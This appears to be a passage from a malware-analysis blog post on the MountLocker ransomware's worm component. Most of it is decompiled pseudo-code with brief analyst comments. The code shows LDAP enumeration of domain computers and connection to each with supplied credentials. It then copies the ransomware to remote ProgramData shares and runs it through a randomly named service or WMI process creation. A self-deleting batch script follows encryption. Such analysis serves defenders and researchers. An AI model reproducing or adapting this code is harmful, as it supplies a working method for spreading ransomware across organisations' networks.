{
  const WCHAR *wsz_UserName; // rbx
  const WCHAR *wsz_Password; // rsi
  DWORD err_code; // eax
  HRESULT v6; // edx
  MACRO_NERR hres; // ebx MAPDST
  HRESULT res; // eax
  HRESULT err_code_1; // er8
  WCHAR *err_str; // r8
  WCHAR v12[24]; // [rsp+30h] [rbp-D0h]
  WCHAR lpszLDAPPathName[280]; // [rsp+60h] [rbp-A0h]
  IDirectorySearch *pDSSearch; // [rsp+2A0h] [rbp+1A0h]
  __int64 phSearchResult; // [rsp+2A8h] [rbp+1A8h]
  LPBYTE lpDcName; // [rsp+2B0h] [rbp+1B0h]
  const wchar_t *wsz_name; // [rsp+2B8h] [rbp+1B8h]

  wsz_name = L"name";
  f_ml_write_format_string_to_log_file_or_console(3, L"Enum PC into domain...\r\n");
  wsz_UserName = g_szUserName;
  wsz_Password = g_szPassword;
  lpDcName = 0i64;
  // use LDAP to make Active Directory query requests to the primary domain controller
  lstrcpyW(lpszLDAPPathName, L"LDAP://");
  err_code = NetGetDCName(0i64, 0i64, &lpDcName);
  hres = NERR_DCNotFound;
  if ( err_code == NERR_DCNotFound )
  {
    v6 = NERR_DCNotFound;
  }
  else
  {
    if ( !err_code && lpDcName )
    {
      lstrcatW(lpszLDAPPathName, (LPCWSTR)lpDcName + 2);
      NetApiBufferFree(lpDcName);
    }
    // retrieves IDirectorySearch interface
    hres = ADsOpenObject(lpszLDAPPathName, wsz_UserName, wsz_Password, 0, &IID_IDirectorySearch, (void **)&pDSSearch);
    if ( hres == NERR_Success )
    {
      // search for all computers in domain
      hres = (unsigned int)pDSSearch->lpVtbl->ExecuteSearch(pDSSearch, L"(objectClass=computer)", &wsz_name, 1i64, &phSearchResult);
      if ( hres == NERR_Success )
      {
        for ( res = pDSSearch->lpVtbl->GetFirstRow(pDSSearch, phSearchResult); ; res = pDSSearch->lpVtbl->GetNextRow(pDSSearch, phSearchResult) )
        {
          hres = res;
          if ( res )
          {
            break;
          }
          hres = f_ml_extract_DN_string_and_setup_stru_func(pDSSearch, phSearchResult, worm_info);
          if ( hres )
          {
            break;
          }
        }
        pDSSearch->lpVtbl->CloseSearchHandle(pDSSearch, phSearchResult);
      }
      pDSSearch->lpVtbl->Release(pDSSearch);
      hres = NERR_Success;
    }
    v6 = hres;
    if ( hres == NERR_Success )
    {
      sub_140003290(worm_info);
      f_ml_write_format_string_to_log_file_or_console(3, L"Enum PC into domain... FINISHED\r\n");
      return 1;
    }
  }
  err_code_1 = (unsigned __int16)hres;
  if ( (hres & 0xFFFF0000) != 0x80070000 )
  {
    err_code_1 = v6;
  }
  switch ( err_code_1 )
  {
    case 0x52E:
      err_str = L"LOGON_ERROR";
      break;
    case 5:
      err_str = L"ACCESS_DENIED";
      break;
    case 8:
      err_str = L"NOT_ENOUGH_MEMORY";
      break;
    case 0x35:
      err_str = L"BAD_PATH_OR_OFFLINE";
      break;
    default:
      wsprintfW(v12, L"%0.8X");
      err_str = v12;
      break;
  }
  f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locker.worm > enum pc into domain error=%s\r\n", err_str);
  return 0;
}

+ Use WNetAddConnection2W to make a connection to remote target PC by using the provided username and password arg:

__int64 __fastcall f_ml_launch_ransomware_remotely(WCHAR *DN_PC_Name)
{
  int ret; // edi
  DWORD connRes; // eax MAPDST
  WCHAR *err_str; // r8
  HANDLE h_proc_heap; // rax
  WCHAR v8[24]; // [rsp+20h] [rbp-B8h]
  WCHAR Name[68]; // [rsp+50h] [rbp-88h]

  ret = 0;
  if ( g_szUserName )
  {
    // use WNetAddConnection2W
    connRes = f_ml_establish_connection_with_remote_pc(DN_PC_Name, g_szUserName, g_szPassword);
    // If the function fails, log errors
    if ( connRes )
    {
      if ( (connRes & 0xFFFF0000) == 0x80070000 )
      {
        connRes = (unsigned __int16)connRes;
      }
      switch ( connRes )
      {
        case 0x52Eu:
          err_str = L"LOGON_ERROR";
          break;
        case 5u:
          err_str = L"ACCESS_DENIED";
          break;
        case 8u:
          err_str = L"NOT_ENOUGH_MEMORY";
          break;
        case 0x35u:
          err_str = L"BAD_PATH_OR_OFFLINE";
          break;
        default:
          wsprintfW(v8, L"%0.8X");
          err_str = v8;
          break;
      }
      f_ml_write_format_string_to_log_file_or_console(1, L"[WARN] locker.worm > logon on server error=%s pcname=%s \r\n", err_str, DN_PC_Name);
    }
    else
    {
      ret = 1;
    }
  }
  f_ml_drop_and_launch_ransomware(DN_PC_Name);
  if ( ret )
  {
    wsprintfW(Name, L"\\\\%s", DN_PC_Name);
    WNetCancelConnection2W(Name, 0, 1);
  }
  if ( !DN_PC_Name )
  {
    return 0i64;
  }
  h_proc_heap = GetProcessHeap();
  HeapFree(h_proc_heap, 0, DN_PC_Name);
  return 0i64;
}

… then try to drop ransomware to remote target PC:

  remote_victim_info.copy_file_to_share_resource_flag = 0;
  remote_victim_info.rand_num = GetTickCount();
  remote_victim_info.PC_Name = DN_PC_Name;
  remote_victim_info.ProgramData_path = L"C:\\ProgramData";
  remote_victim_info.win32_err_code = ERROR_NOT_FOUND;
  *(_OWORD *)&remote_victim_info.file_path = 0i64;
  wsprintfW(remoteProgramData_path, L"\\\\%s\\C$\\ProgramData", DN_PC_Name);
  f_ml_processing_shared_resource_and_drop_itself(remoteProgramData_path, &remote_victim_info);
  if ( !remote_victim_info.copy_file_to_share_resource_flag )
  {
    remote_victim_info.ProgramData_path = 0i64;
    res = f_ml_retrieve_shared_resource_info_and_exec_func(
            remote_victim_info.PC_Name,
            f_ml_processing_shared_resource_and_drop_itself,
            &remote_victim_info);
    v3 = res;
    if ( res )
    {
      if ( (res & 0xFFFF0000) == 0x80070000 )
      {
        v3 = (unsigned __int16)res;
      }
      switch ( v3 )
      {
        case 0x52E:
          errStr = L"LOGON_ERROR";
          break;
        case 5:
          errStr = L"ACCESS_DENIED";
          break;
        case 8:
          errStr = L"NOT_ENOUGH_MEMORY";
          break;
        case 0x35:
          errStr = L"BAD_PATH_OR_OFFLINE";
          break;
        default:
          wsprintfW(v28, L"%0.8X");
          errStr = v28;
          break;
      }
      szEnum_share_err = L"\t%s... ENUM shares error=%s\r\n";
LABEL_15:
      f_ml_write_format_string_to_log_file_or_console(3, szEnum_share_err, remote_victim_info.PC_Name, errStr);
      v6 = 0;
      goto LABEL_94;
    }
    if ( !remote_victim_info.copy_file_to_share_resource_flag )
    {
      err_code = LOWORD(remote_victim_info.win32_err_code);
      if ( (remote_victim_info.win32_err_code & 0xFFFF0000) != 0x80070000 )
      {
        err_code = remote_victim_info.win32_err_code;
      }
      switch ( err_code )
      {
        case 0x52Eu:
          errStr = L"LOGON_ERROR";
          break;
        case 5u:
          errStr = L"ACCESS_DENIED";
          break;
        case 8u:
          errStr = L"NOT_ENOUGH_MEMORY";
          break;
        case 0x35u:
          errStr = L"BAD_PATH_OR_OFFLINE";
          break;
        default:
          wsprintfW(v28, L"%0.8X");
          errStr = v28;
          break;
      }
      szEnum_share_err = L"\t%s... COPY error=%s\r\n";
      goto LABEL_15;
    }
  }
__int64 __fastcall f_ml_processing_shared_resource_and_drop_itself(const WCHAR *remoteProgramData_path, ml_worm_remote_victim_info *victim_info)
{
  const WCHAR *lpFileName; // rax
  wchar_t *ProgramData_path; // rdx
  const OLECHAR *cmd; // rax
  BOOL copyRes; // eax

  victim_info->copy_file_to_share_resource_flag = 0;
  // check path not have ADMIN$ or IPC$
  if ( StrStrIW(remoteProgramData_path, L"\\ADMIN$") || StrStrIW(remoteProgramData_path, L"\\IPC$") )
  {
    return 1i64;
  }
  // build random file name
  lpFileName = (const WCHAR *)f_ml_format_input_string(L"%s\\%u.exe", remoteProgramData_path, victim_info->rand_num);
  ProgramData_path = victim_info->ProgramData_path;
  victim_info->file_path = lpFileName;
  if ( ProgramData_path )
  {
    cmd = (const OLECHAR *)f_ml_format_input_string(L"\"%s\\%u.exe\" %s /NOLOG", ProgramData_path, victim_info->rand_num, g_params_arg_value);
  }
  else
  {
    cmd = (const OLECHAR *)f_ml_format_input_string(L"\"%s\" %s /NOLOG", lpFileName, g_params_arg_value);
  }
  victim_info->szStartCmd = cmd;
  copyRes = CopyFileW(lpMountLockerPath, victim_info->file_path, 0);
  victim_info->copy_file_to_share_resource_flag = copyRes;
  if ( copyRes )
  {
    return 0i64;
  }
  victim_info->win32_err_code = GetLastError();
  return 1i64;
}
  • After successful drop, try to launch the payload on the remote host based on the /NETWORK argument

+ Execute payload through a service.

Service Name: Update<rand_num>

Command: cmd.exe /c start " payload_path params /NOLOG"

    if ( g_network_type == NETWORK_SERVICE )
    {
      launch_cmd = (WCHAR *)f_ml_format_input_string(L"cmd.exe /c start \"\" %s", remote_victim_info.szStartCmd);
      if ( !launch_cmd )
      {
        res_1 = 8;
log_error:
        err_code = (unsigned __int16)res_1;
        if ( (res_1 & 0xFFFF0000) != 0x80070000 )
        {
          err_code = res_1;
        }
        switch ( err_code )
        {
          case 0x52Eu:
            errStr = L"LOGON_ERROR";
            break;
          case 5u:
            errStr = L"ACCESS_DENIED";
            break;
          case 8u:
            errStr = L"NOT_ENOUGH_MEMORY";
            break;
          case 0x35u:
            errStr = L"BAD_PATH_OR_OFFLINE";
            break;
          default:
            wsprintfW(v27, L"%0.8X");
            errStr = v27;
            break;
        }
        v11 = L"\t%s... SERVICE error=%u\r\n";
        goto LABEL_90;
      }
      res_1 = f_ml_start_service(&remote_victim_info, launch_cmd);
      if ( res_1 )
      {
        goto log_error;
      }
LABEL_92:
      f_ml_write_format_string_to_log_file_or_console(3, L"\t%s... OK\r\n", DN_PC_Name);
      goto LABEL_93;
    }
__int64 __fastcall f_ml_start_service(ml_worm_remote_victim_info *service_info, WCHAR *launch_cmd)
{
  DWORD rand_num; // eax
  const WCHAR *lpPassword; // rdi
  const WCHAR *lpServiceStartName; // r14
  SC_HANDLE schSCManager; // rax MAPDST
  DWORD ret; // ebx
  SC_HANDLE hService; // rax MAPDST
  DWORD win32_err_code; // eax
  HANDLE h_proc_heap; // rax
  WCHAR ServiceName[32]; // [rsp+70h] [rbp-48h]

  rand_num = GetTickCount();
  wsprintfW(ServiceName, L"Update%u", rand_num);
  lpPassword = g_szPassword;
  lpServiceStartName = g_szUserName;
  // Required to call the CreateService function to create a service object and add it to the database.
  schSCManager = OpenSCManagerW(service_info->PC_Name, 0i64, SC_MANAGER_CREATE_SERVICE);
  ret = 0;
  if ( schSCManager )
  {
    hService = CreateServiceW(
                 schSCManager,
                 ServiceName,
                 ServiceName,
                 SERVICE_ALL_ACCESS,
                 SERVICE_WIN32_OWN_PROCESS,
                 SERVICE_DEMAND_START,
                 0,
                 launch_cmd,
                 0i64,
                 0i64,
                 0i64,
                 lpServiceStartName,
                 lpPassword);
    if ( hService )
    {
      if ( !StartServiceW(hService, 0, 0i64) )
      {
        win32_err_code = GetLastError();
        if ( win32_err_code == ERROR_SERVICE_REQUEST_TIMEOUT )
        {
          win32_err_code = 0;
        }
        ret = win32_err_code;
      }
      DeleteService(hService);
      CloseServiceHandle(hService);
    }
    else
    {
      ret = GetLastError();
    }
    CloseServiceHandle(schSCManager);
  }
  else
  {
    ret = GetLastError();
  }
  h_proc_heap = GetProcessHeap();
  HeapFree(h_proc_heap, 0, launch_cmd);
  return ret;
}

+ Execute payload through WMI by using IWbemServices COM interface:

  launchWMIRes = f_ml_launch_ransom_through_WMI(DN_PC_Name, g_szUserName, g_szPassword, remote_victim_info.szStartCmd);
  if ( launchWMIRes == WBEM_E_LOCAL_CREDENTIALS )
  {
    launchWMIRes = f_ml_launch_ransom_through_WMI(DN_PC_Name, 0i64, 0i64, remote_victim_info.szStartCmd);
  }
  if ( !launchWMIRes )
  {
    goto LABEL_92;
  }
  v9 = (unsigned __int16)launchWMIRes;
  if ( (launchWMIRes & 0xFFFF0000) != 0x80070000 )
  {
    v9 = launchWMIRes;
  }
  switch ( v9 )
  {
    case 0x52E:
      errStr = L"LOGON_ERROR";
      break;
    case 5:
      errStr = L"ACCESS_DENIED";
      break;
    case 8:
      errStr = L"NOT_ENOUGH_MEMORY";
      break;
    case 0x35:
      errStr = L"BAD_PATH_OR_OFFLINE";
      break;
    default:
      wsprintfW(v27, L"%0.8X");
      errStr = v27;
      break;
  }
  v11 = L"\t%s... WMI error=%s\r\n";
HRESULT __fastcall f_ml_launch_ransom_through_WMI(WCHAR *szComputerName, const WCHAR *szUserName, const WCHAR *szPassword, const OLECHAR *szCommand)
{
  HRESULT result; // eax
  HRESULT hres; // ebx
  IWbemClassObject *pOutParams; // [rsp+40h] [rbp-40h] MAPDST
  IWbemClassObject *pClassInstance; // [rsp+48h] [rbp-38h]
  IWbemClassObject *pInstance; // [rsp+50h] [rbp-30h]
  IWbemClassObject *pIWbemClassObject; // [rsp+58h] [rbp-28h]
  IWbemServices *pIWbemServices; // [rsp+60h] [rbp-20h] MAPDST
  VARIANT varCommand; // [rsp+68h] [rbp-18h]

  pIWbemServices = 0i64;
  pIWbemClassObject = 0i64;
  pInstance = 0i64;
  pClassInstance = 0i64;
  pOutParams = 0i64;
  result = f_ml_obtain_pointer_to_IWbemServices(szComputerName, szUserName, szPassword, &pIWbemServices);
  if ( result )
  {
    return result;
  }
  // Set up to call the Win32_Process::Create method
  hres = pIWbemServices->lpVtbl->GetObjectA(pIWbemServices, L"Win32_Process", 0i64, 0i64, (__int64 *)&pIWbemClassObject, 0i64);
  if ( !hres )
  {
    if ( !pIWbemClassObject )
    {
      goto set_err;
    }
    hres = pIWbemClassObject->lpVtbl->GetMethod(pIWbemClassObject, L"Create", 0i64, (__int64 *)&pInstance, 0i64);
    if ( hres )
    {
      goto release_obj;
    }
    if ( !pInstance )
    {
set_err:
      hres = E_POINTER;
      goto release_obj;
    }
    hres = pInstance->lpVtbl->SpawnInstance(pInstance, 0i64, (__int64 *)&pClassInstance);
    if ( !hres )
    {
      if ( pClassInstance )
      {
        // Create the values for the in-parameters and
        // Store the value for the in-parameters
        varCommand.vt = hres + 8;
        varCommand.llVal = (LONGLONG)SysAllocString(szCommand);
        hres = pClassInstance->lpVtbl->Put(pClassInstance, L"CommandLine", 0i64, (__int16 *)&varCommand, 0);
        SysFreeString(varCommand.bstrVal);
        if ( hres )
        {
          goto release_obj;
        }
        // Execute Method
        hres = pIWbemServices->lpVtbl->ExecMethod(
                 pIWbemServices,
                 L"Win32_Process",
                 L"Create",
                 0i64,
                 0i64,
                 pClassInstance,
                 (__int64 *)&pOutParams,
                 0i64);
        if ( hres )
        {
          goto release_obj;
        }
        if ( pOutParams )
        {
          varCommand.vt = 1;
          hres = pOutParams->lpVtbl->Get(pOutParams, L"ProcessId", 0i64, (VARIANT **)&varCommand, 0i64, 0i64);
          if ( !hres && varCommand.vt == 1 )
          {
            hres = 1;
          }
          goto release_obj;
        }
      }
      goto set_err;
    }
  }
release_obj:
  if ( pOutParams )
  {
    pOutParams->lpVtbl->Release(pOutParams);
  }
  if ( pClassInstance )
  {
    pClassInstance->lpVtbl->Release(pClassInstance);
  }
  if ( pInstance )
  {
    pInstance->lpVtbl->Release(pInstance);
  }
  if ( pIWbemClassObject )
  {
    pIWbemClassObject->lpVtbl->Release(pIWbemClassObject);
  }
  pIWbemServices->lpVtbl->Release(pIWbemServices);
  return hres;
}
  • Update log stats, deletes itself

After completing the encryption process on the victim machine, it updates log statistics:

    f_ml_write_format_string_to_log_file_or_console(a1, L"==[ STATS ]=======================\r\n");
    f_ml_write_format_string_to_log_file_or_console(a1, L"Total crypted:\t%.3f GB\t\t\r\n", (float)((float)(int)qword_140013360 * 9.3132257e-10));
    f_ml_write_format_string_to_log_file_or_console(a1, L"Crypt Avg:\t%0.3f MB/s\t\t\r\n", crypt_avg);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Files:\t\t%0.3f files/s\t\t\r\n", num_files);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Time:\t\t%u sec\t\t\r\n", time);
    f_ml_write_format_string_to_log_file_or_console(a1, L"==[ DIRS ]========================\r\n");
    f_ml_write_format_string_to_log_file_or_console(a1, L"Total:\t\t%u\t\t\r\n", dword_140013350);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Skipped:\t%u\t\t\r\n", dword_140013354);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Error:\t\t%u\t\t\r\n", dword_140013358);
    f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILES ]=======================\r\n");
    f_ml_write_format_string_to_log_file_or_console(a1, L"Total:\t\t%u\t\t\r\n", dword_140013320);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Locked:\t\t%u\t\t\r\n", dword_140013324);
    f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILES SKIPPED ]===============\r\n");
    f_ml_write_format_string_to_log_file_or_console(a1, L"Black:\t\t%u\t\t\r\n", dword_140013328);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Locked:\t\t%u\t\t\r\n", dword_14001332C);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Manual:\t\t%u\t\t\r\n", dword_140013330);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Prog:\t\t%u\t\t\r\n", dword_140013334);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Size:\t\t%u\t\t\r\n", dword_140013338);
    f_ml_write_format_string_to_log_file_or_console(a1, L"==[ FILE ERROR ]==================\r\n");
    f_ml_write_format_string_to_log_file_or_console(a1, L"Open:\t\t%u\t\t\r\n", dword_14001333C);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Read:\t\t%u\t\t\r\n", dword_140013344);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Write:\t\t%u\t\t\r\n", dword_140013348);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Pos:\t\t%u\t\t\r\n", dword_14001334C);
    f_ml_write_format_string_to_log_file_or_console(a1, L"Rename:\t\t%u\t\t\r\n", dword_140013340);

Malware checks the /NODEL argument. If this value is 0, it will delete itself.

    if ( !g_nodel_flag )
    {
      f_ml_exec_self_deletion();
    }
__int64 f_ml_exec_self_deletion()
{
  __int64 tmp_path_len; // rbx
  DWORD rand_num; // eax
  struct _STARTUPINFOW StartupInfo; // [rsp+50h] [rbp-B0h]
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+C0h] [rbp-40h]
  WCHAR wsz_temp_path[264]; // [rsp+E0h] [rbp-20h]
  WCHAR CommandLine[264]; // [rsp+2F0h] [rbp+1F0h]

  tmp_path_len = GetTempPathW(MAX_PATH, wsz_temp_path);
  rand_num = GetTickCount();
  wsprintfW(&wsz_temp_path[tmp_path_len], L"\\%0.8X.bat", rand_num);
  if ( !f_ml_create_file(wsz_temp_path, "attrib -s -r -h %1\r\n:l\r\ndel /F /Q %1\r\nif exist %1 goto l\r\ndel %0 ", 0x41u) )
  {
    return 0i64;
  }
  memset(&StartupInfo, 0, sizeof(StartupInfo));
  StartupInfo.cb = 0x68;
  StartupInfo.dwFlags = 1;
  StartupInfo.wShowWindow = 0;
  wsprintfW(CommandLine, L"\"%s\" \"%s\"", wsz_temp_path, lpMountLockerPath);
  if ( CreateProcessW(0i64, CommandLine, 0i64, 0i64, 0, CREATE_NO_WINDOW, 0i64, 0i64, &StartupInfo, &ProcessInformation) )
  {
    ExitProcess(0);
  }
  return 0i64;
}

Comments
  1. […] 0day in {REA_TEAM}[QuickNote] MountLocker – Some pseudo-code snippets […]

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.